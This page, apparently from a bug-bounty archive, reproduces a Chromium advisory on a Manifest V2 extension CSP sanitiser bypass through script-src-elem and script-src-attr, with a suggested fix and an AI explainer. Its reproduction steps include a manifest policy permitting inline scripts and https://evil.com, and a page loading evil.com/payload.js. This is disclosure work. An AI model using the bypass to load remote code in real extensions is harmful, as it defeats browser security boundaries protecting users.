Skip to content
Business logic Advisory Advanced CVE-2026-11267

Insufficient policy enforcement in Extensions (CVE-2026-11267)

The Manifest V2 CSP sanitiser only enforced script-src and object-src, so CSP Level 3 directives such as script-src-elem and script-src-attr passed through unmodified. An attacker could use them to run inline scripts and load remote code in an extension page, bypassing the intended extension security boundary.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 56 days

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: The Manifest V2 CSP sanitizer fails to process CSP Level 3 directives such as script-src-elem and script-src-attr. Because these directives take precedence over script-src in Blink, an extension can use them to bypass mandatory security restrictions and execute inline scripts or load remote code.

Affected files:

  • extensions/common/csp_validator.cc
  • extensions/common/manifest_handlers/csp_info.cc

Estimated timestamp from git blame: 2025-03-06

Description

When loading a Manifest V2 extension, Chrome sanitizes the user-provided Content Security Policy (CSP) to ensure it adheres to baseline security requirements, such as disallowing remote script sources or 'unsafe-inline'.

This sanitization is performed by ExtensionCSPEnforcer (extensions/common/csp_validator.cc). However, the enforcer's secure_directives_ list only includes kScriptSrc (script-src) and kObjectSrc (object-src). If an extension manifest includes CSP Level 3 directives like script-src-elem or script-src-attr, the enforcer fails to match them. Because they do not match any secure directive, CSPEnforcer::Enforce() passes them through to the final policy unmodified.

At runtime, the Blink rendering engine correctly honors the CSP Level 3 specification, where script-src-elem overrides script-src for <script> tags, and script-src-attr overrides script-src for inline event handlers.

Consequently, an attacker can specify a manifest like: "content_security_policy": "script-src 'self'; script-src-elem 'unsafe-inline' https://evil.com; script-src-attr 'unsafe-inline'"

The sanitizer will securely enforce script-src 'self', but leave the insecure Level 3 directives intact. Because extensions::CSPInfo::GetMinimumCSPToAppend simply returns this parsed CSP for MV2 extensions (unlike MV3, which appends a hardcoded secure minimum CSP), there is no fallback protection. Blink will execute the inline scripts and load the remote code, completely bypassing the intended extension security boundary.

Potential Steps to Reproduce

Note: These are suggested steps based on static analysis.

  1. Ensure Manifest V2 support is enabled (e.g., via enterprise policies or by loading an unpacked component extension).

  2. Create an extension with the following in manifest.json:

    JSON
    "content_security_policy": "script-src 'self'; script-src-elem 'unsafe-inline' https://evil.com; script-src-attr 'unsafe-inline'"
    
  3. Create an extension page (e.g., popup.html) containing an inline script and a remote script:

    HTML
    <script>alert('Inline Script Executed');</script>
    <script src="https://evil.com/payload.js"></script>
    {{media:0}}
    
  4. Load the extension and open the page.

  5. Observe that the scripts execute successfully, confirming the bypass.

Suggested Fix

Update ExtensionCSPEnforcer in extensions/common/csp_validator.cc to recognize and sanitize script-src-elem and script-src-attr (and potentially other relevant Level 3 directives) alongside script-src. Alternatively, the parser could be updated to explicitly reject any unrecognized *-src directives to prevent future bypasses when new CSP features are introduced.

Evaluated with Chrome root at commit: 137d451a126685dd5010e6609db9f6d4a78d8234


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The sanitiser's list of secure directives only covered script-src and object-src, so CSP Level 3 directives that override script-src in Blink were passed through unchecked, and MV2 has no hardcoded minimum CSP fallback.

Impact

An extension could execute inline scripts and load remote code, completely bypassing the intended extension security boundary; the report notes the steps are based on static analysis and not yet confirmed.

What the attacker needed

Manifest V2 support enabled; Attacker controls an extension manifest; Victim installs and opens the extension page

The fix

The enforcer should recognise and sanitise script-src-elem and script-src-attr alongside script-src, or reject unrecognised *-src directives outright.

How it was found

  1. Enable Manifest V2 support, for example through enterprise policies or by loading an unpacked component extension.
  2. Create an extension whose manifest declares a CSP using the Level 3 script directives.
  3. Create an extension page containing an inline script and a remote script.
  4. Load the extension and open the page.
  5. Observe that the scripts execute, confirming the bypass.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Extensions can declare a Content Security Policy, a set of rules telling the browser which scripts are allowed to run. Chrome was meant to clean up that policy so an extension could not allow inline or remote scripts, but it only checked two of the rule names and ignored newer ones that take priority. As a result, an extension could still get its inline and remote scripts executed.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.